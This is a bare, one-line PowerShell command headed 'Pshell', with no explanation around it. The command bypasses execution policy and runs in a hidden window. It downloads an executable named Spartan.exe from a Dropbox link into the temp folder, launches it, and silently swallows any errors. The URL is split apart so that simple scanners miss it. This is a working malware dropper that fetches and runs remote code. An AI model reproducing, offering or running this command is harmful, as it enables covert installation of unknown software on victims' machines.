Pshell

powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command try{$down = New-Object System.Net.WebClient;$url = 'HTTPS:/'+'/'+'www.dropbox.com/s/8ah9pe5qnugywo0/Spartan.exe?dl=0';$file = $env:temp + '\Spartan.exe';$down.DownloadFile($url,$file);$exec = New-Object -com shell.application;$exec.shellexecute($file);}catch{}exit;